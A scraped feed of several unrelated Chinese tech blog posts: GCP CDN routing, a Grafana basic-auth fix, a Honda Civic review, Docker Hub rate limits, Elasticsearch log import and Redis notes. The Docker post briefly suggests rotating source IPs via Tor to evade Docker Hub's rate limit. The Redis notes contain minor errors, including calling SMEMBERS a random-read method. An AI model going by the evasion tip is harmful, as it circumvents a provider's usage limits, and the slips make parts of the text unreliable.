2: 139.162.64.14 [日本 东京都品川区 Linode 数据中心] 0.400ms
3: 72.14.196.114 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司] 0.498ms
4: 108.170.242.144 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司] 1.233ms
5: 209.85.242.235 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司] 1.510ms
6: ??? 3.663ms asymm 8
7: ??? 89.380ms asymm 9
8: 209.85.250.4 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司] 113.612ms asymm 10
9: 72.14.239.159 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司] 129.022ms asymm 11
10: 209.85.250.37 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司] 132.117ms asymm 12
11: ??? 135.119ms asymm 13
12: 216.239.40.171 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司] 139.933ms
13: 216.239.50.17 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司] 133.778ms
14: no reply
15: no reply
16: no reply
17: no reply
18: no reply
19: no reply
20: no reply
21: no reply
22: no reply
23: 32.7.96.34 [美国].bc.googleusercontent.com 133.120ms reached
Resume: pmtu 1500 hops 23 back 24
linode ~ # nali-tracepath 34.96.5.143
1?: [LOCALHOST] pmtu 1500
1: 139.162.65.2 [日本 东京都品川区 Linode 数据中心] 3.558ms
1: 139.162.65.2 [日本 东京都品川区 Linode 数据中心] 1.604ms
2: 139.162.64.30 [日本 东京都品川区 Linode 数据中心] 0.771ms
3: 72.14.196.114 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司] 0.526ms
4: 108.170.242.176 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司] 0.863ms
5: no reply
6: no reply
7: 209.85.246.133 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司] 49.685ms asymm 9
8: 209.85.250.118 [美国 加利福尼亚州圣克拉拉县山景市谷歌公司] 48.992ms
9: ??? 48.643ms
10: ??? 50.985ms
11: no reply
12: no reply
13: no reply
14: no reply
15: no reply
16: 143.5.96.34 [美国].bc.googleusercontent.com 48.532ms reached
Resume: pmtu 1500 hops 16 back 16
如果你对你的创建 Load Balancer 的 IP 不满意(或者分配到了一个大陆 ping 不通的地址)的话,可以刷一些 IP 来看看有没有满意的,比如可以这样一瞬刷出来 20 个 IP(跑:
for num in {1..20};do gcloud compute addresses create cdn-ip-$num --project=<Google Project Here> --global;done
不过最近 GCP CDN 到大陆看上去延迟也蛮高(换 IP 也一样),挺不爽的..

这个应该是 2020 年年末才更新的功能,使用 NEG 可以减少一台机器的成本和额外维护转发的成本( 主要 GCP 上的机器真的是又贵又烂 ),简化了不少 DevOps 的 workflow。
搞了这么多,偶尔能看到一句:

可开心了~
本来其实是一个非常简单的需求,我需要把自己一个很早以前手动用包管理器安装的 Grafana/InfluxDB 套件迁移到另一个主机上,并且改为纯 Docker 部署并且重新制作面板(丢掉之前的数据),因为不需要考虑之前的数据了,所以迁移流程非常简单,先做一个简单的 docker-compose.yml 文件,内容大概如下:
version: "3"
services:
influxdb:
image: influxdb
container_name: influxdb
ports:
- "192.168.1.3:8086:8086"
restart: always
volumes:
- ./data/influxdb:/var/lib/influxdb
grafana:
image: grafana/grafana
container_name: grafana
ports:
- "127.0.0.1:3000:3000"
restart: always
volumes:
- ./data/grafana:/var/lib/grafana
environment:
- GF_SERVER_DOMAIN=internal.yyyy.xxx
- GF_AUTH_DISABLE_LOGIN_FORM=false
- GF_SERVER_ROOT_URL=https://internal.yyyy.xxx/grafana/
- GF_SERVER_SERVE_FROM_SUB_PATH=true
关于底下的 environment ,可以参考 Configuration | Grafana Labs,简单来说就是,如果配置中是:
# default section
instance_name = ${HOSTNAME}
[security]
admin_user = admin
[auth.google]
client_secret = 0ldS3cretKey
[plugin.grafana-image-renderer]
rendering_ignore_https_errors = true
那么对应到环境变量上就是:
GF_DEFAULT_INSTANCE_NAME=my-instance
GF_SECURITY_ADMIN_USER=owner
GF_AUTH_GOOGLE_CLIENT_SECRET=newS3cretKey
GF_PLUGIN_GRAFANA_IMAGE_RENDERER_RENDERING_IGNORE_HTTPS_ERRORS=true
启动好容器之后就是一点 Nginx 的配置,大概是这样的:
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
ssl_certificate /path/to/ssl.pem;
ssl_certificate_key /path/to/ssl.key;
server_name internal.yyy.xxx;
# 这里有个其他的服务,服务没有登录功能,需要用 Nginx 的 Basic Auth 保护一下
location /service-a {
auth_basic "Restricted Content";
auth_basic_user_file /etc/nginx/htpasswd;
proxy_pass http://192.168.1.7:8888;
}
location /grafana/ {
proxy_pass http://localhost:3000/;
}
}
看上去没有任何问题,然后访问一下 URL,就会看到:"invalid username or password"

啊这?我这还没输入密码呢?!
在继续前,大伙可以停下来,先根据上面的配置信息想想可能是哪儿出了问题.

在看了一个看上去和我情况相似的 Issue 之后发现,在 User Authentication Overview,中,Grafana 支持多种验证方式,最常见的就是简单的用户名密码的方式,此外还有 SAML,LDAP 啥的:

但是如果足够细心往下看,就会发现有个叫 Basic authentication 的小节,内部是这样说明的:
Basic auth is enabled by default and works with the built in Grafana user password authentication system and LDAP authentication integration.
To disable basic auth:
[auth.basic] enabled = false
这个时候问题就已经比较明了了,由于这个 internal.yyyy.xxx 还反代了一个其他服务,也就是上文中的:
location /service-a {
auth_basic "Restricted Content";
auth_basic_user_file /etc/nginx/htpasswd;
proxy_pass http://192.168.1.7:8888;
}
正好我的浏览器之前有登录过那个服务,浏览器便给整个 internal.yyyy.xxx 域名的访问都加上了针对那个服务的 Authorization: Basic xxxxxxx 的 Header,正好 Nginx 把这个 Header 也传给了 Grafana,加上 Grafana 优先通过这个 Header 来验证用户,就有了上面那一出 "invalid username or password" 的问题了。
然后解决方法也比较明了了,只需要在 docker-compose.yml 的 Grafana 下环境变量中加入一条:
- GF_AUTH_BASIC_ENABLED=false
这样 Grafana 就不会关注那个不是给他看的 Header 了。
为这么个问题折腾了这么久,主要原因还是因为他(我)们(没)文(看)档(文)没(档)有写好,不应该不应该,记录此文,希望可以帮到其他可能在这里踩坑的同学。
2021/10/21 更新部分改件信息,见文末
你不能老是白嫖我的车开吧,网上很少有 MT 的评测,我看你又比较喜欢写这种文章,写一篇呗?
应好友的邀请,简要评价一下这辆陆陆续续借来开了好几百公里的 MT 版本的 FK7,这是一辆我个人比较关注的车,正好前段时间有朋友买到了它(甚至还是手动挡版本的),于是就经常性地借来开。
为什么关注这辆车?大概因为这个是国内能以比较低的价格买到的最像 Civic Type-R(FK8) 的车了。
FK8 长这样:

FK7 长这样:

一言蔽之,远观效果只能说(除了没有尾翼以外)比较像,但是一旦走近了,就会发现:
只要开起来就会发现:
我们还是分类来评这辆车吧~
如上文所说,这个虽然是国内可以以一个比较低的价格买到的最像 Type-R 的车,但是其实和 Type-R(FK8) 之间还是有很多区别的,这里我仅分享一些拍的照片:

由于这是一辆手动挡的车,发动机和变速箱与三厢思域是同款,除了排档头换成了一个和 Civic Si 很像的排档头,收获了很多 Civic 粉丝的青睐(和钱)。
关于排档头的尺寸的话,正好手上有个罗技的 G29 自带的换档头,拿到车上对比一下,发现几乎大小是一致的(当然换档手感非常不一致,FK7 换档感觉比较涩,不像 G29 或者某些大众的车型那样顺滑)

关于变速箱,在「思域五门两厢版用户手册.pdf」中,我们可以发现,即使是 CVT 变速箱,也有「级别」的说法,但是在互联网上并未找到相关的说明和解释,这个很奇妙。

如果问一个人为什么要买手排车,除了穷以外可能就是手排车可以带来许多自动档没法带来的乐趣,比如…降档补油。
要搞这些操作就需要三个踏板分布在一个比较合理的距离和高度上,这里我补充一个图:

从实际体验来说就是:
离合器比较轻,行程(相比较大众的车型来说)挺短,结合点比较低(意味着不需要抬起来很高即到达半联动点),油门(相比较大众的车型来说)比较高和宽,降档补油比较容易掌握,但是如果要跟趾的话,比较困难(刹车不是很线性,且刹车和油门踏板之间还是有一个高度差,脚跟踩油门的时候需要控制好脚尖的力度,不然容易顿挫一下)。
而且还有一个比较有意思的点,这台车的发动机似乎会在换档的间隙有一个转速悬停的操作,例如在 2 升 3 档的时候,如果 2 档 4000 RPM 升到 3 档的话,转速会悬停在 4000 RPM 一段时间,如果换档(抬离合)过快的话,会感受到一个明显的顿挫,不知道是不是所有的手排车都有这个问题还是只是思域这样,所以如果要平稳驾驶的话需要慢抬离合(为同事诟病)。
根据观察法,FK7 从 MT 以上(也就是 MT 和顶配 CVT)的车机是自带 Carplay 的,但是默认却是被关闭的状态(有一个 Honda Connect 在),但是只要稍微自己动手(拆车机并替换一根线,一个小时内就可以自己搞定,线的价格不超过 40 CNY),便可将车辆自带的 Carplay 给搞出来,可以参考这个视频:十代思域FK7开启原厂carplay功能教学_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili。
有了 Carplay 之后车机就是这个样子的:

并且高德地图导航也可以直接显示在车机上,再也不是手机蓝牙连接车机然后只能听语音了。

1.5T 的 L18B8,峰值才 226 Nm,只能说比之前开过的车动力好一些,没有跑过 0-100,但是感觉也不是非常快(
且由于是涡轮增压车型,涡轮起压点前后动力差距蛮大,从个人驾驶的角度来看,只有大脚给油涡轮才会很快起压,但是很快我们会遇到一个问题,如下。

思域标配的轮胎是 Yokohama ADVAN dB 215/50/R17 91V 的「静音胎」,所以几乎意味着只要是全油门起步,在一档和二档之间轮胎没有不滑的,如果地面还有些湿的话在 2,3 档之间也会打滑。
具体来说是一种什么感觉呢,举个真实的例子,在一个雨后的新修沥青路面上,320i 和 FK7 在同一车道上一前一后同时起步,一档从 2000 RPM 开始轮胎便开始打滑,滑到 4000 RPM 升档,二档继续打滑,此时靠近 320i 需要变道超车,然后在变道的时候车还在滑,被迫松油,很快就会被拉开差距。
——这破车连 320i 都追不上…(字面意思)
所以感觉 FK7 从刚刚买来开始就应该改一套轮胎,根据轮胎计算器得出的数据,看上去如果改 18 英寸轮毂的话上 225/40/R18 或者不改轮毂的话(默认轮毂 7J,最大支持只能支持到 225)选择 225/50/R17 PS4 是一个好的选择。
嗷,改轮毂尺寸是违法的,还是直接换 17 英寸的 PS4 吧(
如果你想试试看 Cup 2 的话,原厂刹车可以给你这样的体验:

如果你不考虑合法街道驾驶(比如只用来跑赛道的话),谢欣哲这里有 FK7 MT 的几乎全套的改装视频: 思域计划。

从 MT 开始的车型会带有一个据说是 L2 的辅助驾驶,具体到使用体验而言呢,就是:
由于是 Hatchback 车型, 后备箱开口非常的大

据说能拉洗衣机,未验证,不过如果偶尔出去玩想吃点东西又不想弄脏车里面的话,可以把后备箱打开然后盘腿坐在后备箱内吃(
在之前的文章「那些年我开过的车(们)」中,我有提到:
除了一些特定车型以外,发现一个比较有意思的点,国产车基本都是又大又长,乘坐的时候视野比较高比较大
对于思域来说,如果驾驶座放到最低的话,我实际看到的视野大概如下:

说实话,虽然网上很多人说这个车坐姿低,但是我感觉还是它是属于「乘坐的时候视野比较高比较大」的类型,至少和 320i 或者小鹏 P7 这类车坐起来仿佛被包裹在车内的体验完全不同。
嗯,以上。
已经全部移动到 Nova Kwok 的 FK7 改车笔记 ,请移步参观。
]]>直到容器化的出现,开发和运维开发将整个程序和运行环境放在一个个 Docker Image 和 docker-compose.yml 中,启动一个程序已经慢慢缩减成了一行 docker run 或者 docker-compose up -d,绿色无害,迁移方便,使用起来让人上瘾,想不断地使用 Docker,并不断将 Docker 融入自己的 Workflow 中,然而,Docker 用的多了,就会看到以下情况:
Error response from daemon: toomanyrequests: You have reached your pull rate limit. You may increase the limit by authenticating and upgrading: https://www.docker.com/increase-rate-limit
打开这个页面,你就会知道,从 2020-11-02 开始,官方的 Docker Hub 开始对 pull 请求加上了限制,限制为匿名用户(未登录),每 6 小时只能拉 100 次 image,登录的免费用户每 6 小时拉 200 次 镜像:
The rate limits of 100 container image requests per six hours for anonymous usage, and 200 container image requests per six hours for free Docker accounts are now in effect.
对于登录而言,限制的是用户,对于未登录的用户而言,限制的是 IP。
Docker 要怡烂钱我可以理解, 但是 docker hub 上面 ubuntu:latest 这样的基础镜像都给我整一个 rate-limit 我是真的没想到。 不知道今天起有多少人的 CI/CD 会因为这个挂掉。
——https://twitter.com/IceCode8964XI/status/1328395263606628352
这怎么行?
由于限制的是 pull 请求,为了摆脱这种限制,我们首先得了解 docker pull 背后到底做了啥,然后推测限制的位置并绕过。
我们虽然日常访问的是 https://hub.docker.com ,但是我们在 https://github.com/docker/distribution/blob/master/reference/normalize.go#L13 中可以看到实际 docker 使用的地址是一个硬编码的 docker.io
var (
legacyDefaultDomain = "index.docker.io"
defaultDomain = "docker.io"
officialRepoName = "library"
defaultTag = "latest"
)
在 Docker 的 API 文档: https://docs.docker.com/registry/spec/api/#pulling-an-image 中,我们知道:
An “image” is a combination of a JSON manifest and individual layer files. The process of pulling an image centers around retrieving these two components.
一个 docker pull 指令会从拉两部分,一部分是 manifest,一部分是 layer,前者指定了一个 image 相关的信息和 layer 的信息(一个 JSON 文件),后者就是一些大文件(layer),从我们内部统计的情况来看,后者普遍使用的是 https://production.cloudflare.docker.com/,这部分应该是不会受到限制的,所以猜测限制的地方是前者 manifest 的部分的请求,从文档 https://docs.docker.com/docker-hub/download-rate-limit/ 中我们也可以知道:
A pull request is defined as up to two GET requests on registry manifest URLs (/v2//manifests/).
故而证实了我们猜测,Docker Hub 是在拉 manifest 的过程中进行限制的。
那么 manifest 是从哪儿拉的?
由于没有地方记录了 docker pull 的时候到底是从哪儿拉的地址,需要 MITM 一下:
Flows
GET https://registry-1.docker.io/v2/
← 401 application/json 87b 213ms
GET https://auth.docker.io/token?account=youraccount&scope=repository%3Alibrary%2Fal
pine%3Apull&service=registry.docker.io
← 200 application/json 4.18k 245ms
>> GET https://registry-1.docker.io/v2/library/alpine/manifests/latest
← 200 application/vnd.docker.distribution.manifest.list.v2+json 1.6k 294ms
GET https://registry-1.docker.io/v2/library/alpine/manifests/sha256:57334c50959f26ce
1ee025d08f136c2292c128f84e7b229d1b0da5dac89e9866
← 200 application/vnd.docker.distribution.manifest.v2+json 528b 326ms
GET https://registry-1.docker.io/v2/library/alpine/blobs/sha256:b7b28af77ffec6054d13
378df4fdf02725830086c7444d9c278af25312aa39b9
← 307 text/html 242b 288ms
GET https://registry-1.docker.io/v2/library/alpine/blobs/sha256:0503825856099e6adb39
c8297af09547f69684b7016b7f3680ed801aa310baaa
← 307 text/html 242b 322ms
GET https://production.cloudflare.docker.com/registry-v2/docker/registry/v2/blobs/sh
a256/b7/b7b28af77ffec6054d13378df4fdf02725830086c7444d9c278af25312aa39b9/data?…
← 200 application/octet-stream 1.48k 191ms
GET https://production.cloudflare.docker.com/registry-v2/docker/registry/v2/blobs/sh
a256/05/0503825856099e6adb39c8297af09547f69684b7016b7f3680ed801aa310baaa/data?…
← 200 application/octet-stream 2.66m 207ms
⇩ [27/32] [*:8080]
我们会发现 https://registry-1.docker.io/v2/ 这个地址,通过手动改 Host + 调路由的方式并重新 pull 发现可以成功之后得到了验证。
接下来就是给这个地址设置用不同的 IP 来请求这个地址即可绕开限制,比如..用 Tor。
刷 Docker Hub 流量固然很快乐,但是我们的主要目的还是保护内部 CI 不挂,且提升 pull 的速度,所以这个时候配置一个 pull-through cache 才是一个比较合理的解决方式,嗷对了,如果你和我一样使用了自己的 cache 的话,记得改外部 DNS 设置,而不是容器内的 /etc/hosts ,不然容器内的程序还是会通过 Host 的 DNS 去查询 registry-1.docker.io 的 IP 并直连,让你继续看到 toomanyrequests。
其实对于一个 GitHub 仓库而言,除了 Stargazer 数量以外,还有很多可以用来作统计和可视化的指标,我们从一个简单的问题开始吧:
给我们仓库点 Star 的用户都是什么样子的人呢?
要回答这个问题,我们可以首先看看他们都是什么时候注册的,我们以两个仓库进行对比吧:「d3/d3」和「996icu/996.ICU」,在「d3/d3」中,用户的「注册时间-注册数量」的图是这样的:

相比较之下「996icu/996.ICU」仓库的「注册时间-注册数量」图是这样的:

对比一下可以发现 Star 「996icu/996.ICU」 仓库的用户普遍注册时间比 「d3/d3」 的要晚一些,而且在 2019 年的时候注册时间还出现了一个非常突出的点,让我们回忆一下这个仓库的上线时间同时标记一下这个仓库的 Star 数量和时间曲线图:

会发现这个项目在刚刚上线的时候有非常多的 Star,之后都比较倾向于平缓,那么那段陡增的 Star 有没有可能与这段用户有关呢?
有的时候,我会好奇:
给这些仓库点 Star 的人,他们的头像是怎样分布的呢?
继续用「d3/d3」和「996icu/996.ICU」作为对比,首先我们把他们的 Stargazer 数据全部拉下来,然后按照用户的 Follower 数量从小到大进行排序,并从左到右,从上到下拼接到一张图片中,就有了如下的情况,首先还是 「d3/d3」:
![]()
然后是 「996icu/996.ICU」
![]()
怎么样,有没有发现 「996icu/996.ICU」 的图片中有一个非常明显的分层?从差不多 50% 的位置,以上的部分使用 GitHub 默认头像的用户较多。
除此之外,我们是不是还可以把 Stargazer 们的 Company 生成词云,了解一下他们所在公司的信息,或者根据他们留的邮箱情况来统计一下他们的邮件服务商分布呢?
其实有很多数据等待我们去发掘,为此,我专门做了一个站点,叫 GitHub Insights,地址是 https://github.re,欢迎来参观.
由于 GitHub 仓库众多,目前的爬取策略是每天更新一次 GitHub Trending 的所有仓库并生成相关的可视化图表,后续可能会根据大家的搜索结果相关做一个分析队列,并逐渐加入更多的分析数据项,目前如果你对某个仓库感兴趣,或者希望我收录某个仓库的话,暂时可以邮件联系我进行添加~
希望你会喜欢这个工具.
]]>
由于需要对性能表现进行分析,显然从 Load Balancer 上获取日志会比从主机上获取 Nginx 日志来的更加靠谱和全面一些,所以本文将简述如何导出 Google Load Balancer 的日志并使用 ELK 中的 E(lasticsearch) 和 K(ibana) 进行分析的。
GCP 本身提供了一个非常易懂的 Logs Viewer,如图所示:

对于其中一个请求,我们导出 JSON 之后可以发现类似如下:
{
"httpRequest": {
"cacheLookup": true,
"latency": "1.216810s",
"remoteIp": "123.123.123.123",
"requestMethod": "GET",
"requestSize": "351",
"requestUrl": "https://website.test/test-quick-start.html",
"responseSize": "6415",
"serverIp": "10.174.0.5",
"status": 200,
"userAgent": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
},
"insertId": "5u564gg12v7bsq",
"jsonPayload": {
"@type": "type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry",
"cacheId": "CHS-45f89f72",
"statusDetails": "response_sent_by_backend"
},
"logName": "projects/xxxxxx-223411/logs/requests",
"receiveTimestamp": "2020-09-21T13:00:13.604551689Z",
"resource": {
"labels": {
"backend_service_name": "xxxx-xxxx-xxxx",
"forwarding_rule_name": "xxxxx",
"project_id": "xxxxxxxx-xxxx",
"target_proxy_name": "xxxx-lb-target-proxy-3",
"url_map_name": "xxxxx-lb",
"zone": "global"
},
"type": "http_load_balancer"
},
"severity": "INFO",
"spanId": "209153a5bc3264e0",
"timestamp": "2020-09-21T13:00:11.297154Z",
"trace": "projects/nova-blog-266907/traces/f97f9d3c5f0d71ea22e13d85e0b65f16"
}
可以看到,每一个请求都有对应的 JSON 格式记录,字段非常的全面,可以帮助我们排查很多问题,但是由于 GCP 自带的 Log Viewer 功能比较简单且默认的 Rentention Period(回收周期)是 30 天(意味着这里只会保存 30 天的日志),加之我们不应该过于依赖这一个平台,于是想到了将日志导出到其他平台上进行分析。
对于日志分析来说,最简单粗暴的方式可能就是写入 MySQL,嗷不,MongoDB,但是为了方便的进行后期分析,这里使用了比较常见的 ELK 的架构。
传统的 ELK 结构如下:

但是本文中数据是直接由 Python 导入 ElasticSearch 的,所以只能算 PEK 了(雾。
对于导出日志来说有两种方式:
对于热数据的导出,GCP 官方建议的是 pubsubbeat,然而这个仓库(https://github.com/googlearchive/pubsubbeat)已经被 Google Archive 并标明了:「This project is no longer actively maintained by Google.」,加之主要我对日志分析需求并不是那么实时,所以我选择了第二种方式,离线分析。
由于是离线分析+归档存储(且在 GCP 平台上),第一步便是创建一个 GCS 桶并在 Logs Viewer 页面创建一个 Sink:

然后指定之前创建好的桶用于存放日志即可:

创建好了之后不要着急,因为日志是每小时导入一次的,而且这个时间并不是非常稳定。
如果上述步骤没有问题的话,GCS 中的文件类似如下:

对于 http_load_balancer 类型的日志会全部被保存在 /requests/<YYYY>/<MM>/<DD>/ 下的一堆 JSON 中,其中文件内容为一行行的 JSON 数据,数据格式如上文所示。
我们有了日志了之后就可以使用 Google 的 gsutil 定期地从 GCS 上把文件同步下来了,比如可以放在 crontab 里面:
0 * * * * gsutil rsync -d -r gs://bucket_name/ /mnt/your_logs_location
这样在你的 /mnt/your_logs_location 下就有你的所有日志了。
从上文中我们知道,Google 对于每天的日志会分散在很多小文件中,所以如果你和我一样每天导入上一天的数据的话,首当其冲的就是整合一下一天的日志,这一步很简单,可以直接用 Python 包裹一下 Shell 进行,类似这么写:
RAW_LOG_LOC = "/mnt/your_logs_location/"
AGG_LOG_LOC = "/mnt/your_BIG_logs_location/"
# current_date -> 2020-09-02
def aggregate_logs(current_date):
# Convert "2020-09-02" to "2020/09/02"
date_path = current_date.replace("-","/")
cmd = "cat " + RAW_LOG_LOC + date_path + "/* > " + AGG_LOG_LOC + current_date + ".json"
os.system(cmd)
这样每日的零散数据就会被整合并存放在类似 /mnt/your_BIG_logs_location/2020-09-22.json 的地方。
默认的 Log 包含了太多信息,然而对于我们分析有效的其实主要只有如下几种:
{
"httpRequest": {
"latency": "1.216810s",
"remoteIp": "123.123.123.123",
"requestMethod": "GET",
"requestSize": "351",
"requestUrl": "https://website.test/test-quick-start.html",
"responseSize": "6415",
"serverIp": "10.174.0.5",
"status": 200,
"userAgent": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
},
}
为了方便统计访客来源,我们还希望知道对应 IP 的城市和经纬度,以及请求的回源情况,同时,为了方便统计总流量,我们应该将 requestSize 和 responseSize 转换成数字(而不是字符串),所以最终的日志应该类似这样:
{
"httpRequest": {
"latency": "1.216810s",
"remoteIp": "123.123.123.123",
"requestMethod": "GET",
"requestSize": 351,
"requestUrl": "https://website.test/test-quick-start.html",
"responseSize": 6415,
"serverIp": "10.174.0.5",
"status": 200,
"userAgent": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"severity": "INFO",
"country": "Japan",
"city": "Heiwajima",
"latitude": 35.5819,
"longitude": 139.7663,
"statusDetails": "response_sent_by_backend",
"timestamp": "2020-09-21T13:00:11.297154Z",
},
}
所以再加入一下 GeoIP 相关的信息:
import geoip2.database
def get_geo_info(ip_addr):
reader = geoip2.database.Reader('/path/to/GeoIP2-City.mmdb')
geo_data = reader.city(ip_addr)
lat = geo_data.location.latitude
longi = geo_data.location.longitude
country = geo_data.country.name
city = geo_data.city.name
return [lat,longi,country,city]
最后 Parse 的时候需要额外处理一些逻辑,比如 statusDetails 可能是 client_disconnected_before_any_response,这种时候 responseSize 就会为空,需要额外处理一波。
最后导入的函数原型类似如下:
from elasticsearch import Elasticsearch, helpers
import os,uuid
import json
import datetime
def parse(current_date):
real_path = AGG_LOG_LOC + current_date + ".json"
with open(real_path) as f:
for json_data in f:
json_data = json.loads(json_data)
new_object = {}
new_object['statusDetails'] = json_data['jsonPayload']['statusDetails']
# 此处省略
new_object['timestamp'] = json_data['timestamp']
if '{"index"' not in new_object:
yield {
"_index": "<index_name>",
"_type": "<doc_type_name>",
"_id": uuid.uuid4(),
"_source": new_object
}
# 连接 ElasticSearch 服务器
es_instance = Elasticsearch([{'host':'<Elastic_IP>','port':'9200'}])
response = helpers.bulk(es_instance, parse(yesterday))
由于直接是 Python 导入了数据到 Elasticsearch 中,并没有 Logstash,所以这里就是 EK 了~
由于我们花了不少时间把所有 IP 对应的 Geo 信息都已经找了出来,下意识想到可以用 Kibana 的 Map 把所有请求的地理位置给可视化到地图上了,然后,就会发现「Couldn’t find any index patterns with geospatial fields」:

通过找一下对应 index 的 mapping:
curl <Elastic_IP>:9200/<index_name>/_mapping | jq .
就会发现,直接将字符串导入的 Geo 数据的类型在 ES 中是:
"latitude": {
"type": "float"
},
"longitude": {
"type": "float"
},
显然 Kibana 没有那么智能,所以为了保证地理位置信息是他们要的 geo_point 类型,我们还需要手动写一下 mapping(对应到其他数据库里面就是 schema 啦),如果在 Python 中可以这么写:
Elastic 并不能给已有数据修改 Mapping,所以还得重新导入一次
es_instance.indices.create(index='<index_name>') # 先创建一个 index(也就是库)
# 然后指定 <index_name>(也就是库) 的 <doc_type> (也就是表)的 Mapping(也就是 schema)
es_instance.indices.put_mapping(
index="<index_name>",
doc_type="<doc_type_name>",
body={
"properties": {
"latency": {"type": "text"},
"requestSize": {"type": "long"},
"responseSize": {"type": "long"},
"userAgent": {"type": "text"},
"statusDetails": {"type": "text"},
"remoteIp": {"type": "ip"},
"serverIp": {"type": "ip"},
"severity": {"type": "text"},
"timestamp": {"type": "date"},
"country": {"type": "text"},
"city": {"type": "text"},
"geo": {"type": "geo_point"},
}
},
include_type_name=True
)
其中,我们要的 geo 字段是一个 geo_point 类型的字段,这个字段可以通过拼接经纬度构造字符串来完成:
new_object['geo'] = str(latitude) + "," + str(longitude)
导入完成之后我们就可以直接在 Kibana 上看到导入的数据了~

看看地图是否可以正常渲染了~

可以试试看统计各个 URL 的一些 Sent Byte 之和:

搞上计划任务,让脚本每天自动导入数据,下一步就是开始写 Dashboard 和 Visualization 以及找一些前端的同学合作来对数据的各个维度进行分析了,出于篇幅和主题明确考虑,本文就不涉及这块了。
Happy Hacking!
我看那些人面试还问 Redis,Redis 有什么卵用?
——我校上一届某程序设计大赛大佬
Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker.
一般来说我们都会常规地把 Redis 理解为一个内存的 KV 数据库,许多时候我们见到它是在缓存里面,其次是一些消息队列的 broker(比如 celery),当然,除了这些常规用途之外甚至能见到一些遇事不决就直接全页面丢 Redis 企图从 Redis 输出来提升一些自己站点 “并发” 的奇怪操作。
关于 Redis 的性能相关我们后面来说,首先大概过一下 Redis 可以支持啥不同的数据类型,除了我们对于 KV 经常想到的 Key Value 全是 string 以外,Value 还可以是:
hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes with radius queries and streams
有点多哈~
对于我们最常用的 string 而言,Value 的最大容量是 500M,且「二进制安全」,所以无论是普通的 text,还是文本或者图片,都可以作为 string 存入。
上面说到了,除了 string 以外,Redis 可以支持存入一个 Set(集合),比如我们可以这样来创建一个包含 4 个元素的 Set,Key 是 nova:
127.0.0.1:6379> SADD nova kwok moe redis test
(integer) 4
127.0.0.1:6379> SMEMBERS nova
1) "test"
2) "redis"
3) "moe"
4) "kwok"
我们知道,对于栈来说,一般会有 POP 和 PUSH 两个方法,有意思的是,对于 Redis 的 Set,也有 POP 方法,用法是这样的:
127.0.0.1:6379> SPOP nova 2
1) "redis"
2) "test"
127.0.0.1:6379> SMEMBERS nova
1) "moe"
2) "kwok"
Redis 会随机地取两个值返回出来,并且删掉对应的值,如果后面没有指定那个 2 的话,只会随机取一个值出来(并删除)。
SPOP 并不适合用来做均匀分布的随机采样,背后使用的算法是 Knuth sampling 和 Floyd sampling。
说完了 SPOP 之后,你会发现它甚至还有一个类似的随机读取元素的方法,叫做 SMEMBERS,比如:
127.0.0.1:6379> SMEMBERS nova
1) "moe"
2) "kwok"
127.0.0.1:6379> SRANDMEMBER nova
"moe"
后面的参数甚至可以是负数,这样会随机取出来一个元素并且返回两次,像这样:
127.0.0.1:6379> SRANDMEMBER nova -2
1) "kwok"
2) "kwok"
这个值(的绝对值)甚至可以超过整个 Set 容量:
127.0.0.1:6379> SRANDMEMBER nova -5
1) "kwok"
2) "moe"
3) "kwok"
4) "kwok"
5) "kwok"
这是个什么需求呀.webp
不管了,这个功能先加上去,显得我们工作量很多(
——某不愿意透露姓名的名是 K 开头的男子
对于 SRANDMEMBER 官方对于它的分布是这样定义的:
The distribution of the returned elements is far from perfect when the number of elements in the set is small, this is due to the fact that we used an approximated random element function that does not really guarantees good distribution.
简单来说,如果集合太小,取样概率也不均匀。
如果希望进一步了解上述概率有多不均匀,可以参考 「Sampling characteristics of Redis sets」,以及 Redis 作者对此的回复 https://www.reddit.com/r/redis/comments/aro3lz/sampling_from_sets_in_redis/。
附图一张:

或者就是 Master Slave 模式,在 5.x 之后被称为 replica,之前都是 slave
如果你的单 Redis 实例由于某些原因导致性能不够的时候(Redis 并非 CPU 或者 IO 密集型应用),可以通过打开新起一个实例并设置为原有实例的 Replica 进行,方法很简单,如果在 redis-cli 中,使用:
REPLICAOF <Host> <Port>
4.x 版本是:
SLAVEOF <Host> <Port>
注意默认 Port 是 6379 ,不是 2379…
为了区分 “同步”(动词) 与 “同步/异步” 中的同步,以下 “同步”(动词) 改为 “传送”
当成功建立连接之后 Master 节点会定期向 Replica 节点传送在 Master 上执行的指令(类似 AOF 模式),如果 Replica 短暂掉线,重新恢复后会继续尝试传送缺失的数据,如果不能通过传送缺失数据恢复,Master 则会建立一个 snapshot 传送给 Replica 进行恢复(类似 RDB 模式)。
如果是这种 Master-Replica 传送的话,每次传送是异步进行的,即不能保证 Master 和 Replica 上数据强一致,此时 Redis “集群” 是一个 AP 系统,如果不希望异步传送的话,可以加上 WAIT,当然,这样也并不会把集群变成一个强一致 CP 系统。
如果只是作为业务前的一个串行的缓存的话,可能你并没有怎么考虑过持久化这个话题(大不了 Redis 挂了,缓存数据没了然后请求全部落到数据库上,数据库被打穿嘛),但是 Redis 的确有它独有的持久化方式,被称为——AOF(Append Only File) 和 RDB(Redis Database File).
mysqldump 出来的数据当然,你也可以 RDB 和 AOF 的方式都打开,但是重启 Redis 后,它会优先使用 AOF 方式的数据(因为更加有可能包含最后一条操作)。
